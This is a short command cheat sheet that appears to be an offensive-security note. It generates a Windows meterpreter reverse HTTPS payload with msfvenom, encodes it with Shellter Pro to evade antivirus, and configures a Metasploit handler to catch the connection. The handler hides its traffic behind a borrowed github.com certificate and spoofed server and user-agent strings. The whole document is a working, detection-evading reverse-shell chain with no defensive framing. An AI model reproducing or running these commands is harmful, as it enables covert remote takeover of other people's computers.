Shellter Pro + Unicorn

Generate MSF raw shellcode
❯ msfvenom --platform Windows --arch x86 -p windows/meterpreter/reverse_https lhost= lport=443 -f raw > payload.bin

Encode RAW shellcode with Shellter Pro
F:\ShellterPro_v3.3>ShellterPro.exe -p payload.bin -o payload-encoded.bin --standaloneEncoder {+!x+} -i 6 --polyDecoder

Set up MSF
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST
set LPORT 443
set ExitOnSession false
set AutoVerifySession false
set AutoSystemInfo false
set AutoLoadStdapi false
set HandlerSSLCert /root/.msf4/loot/20190626121343_default_192.30.253.113_github.com_pem_143328.pem
set MeterpreterServerName Apache/2.2.26 (Red Hat Enterprise Web Server)
set meterpreteruseragent Mozilla/5.0 (Windows NT 6.1; AppleWebKit/537.36; KHTML) like Gecko
set stageencoder x86/shikata_ga_nai
set StagerVerifySSLCert true
set sslversion auto
set EnableStageEncoding true
exploit -j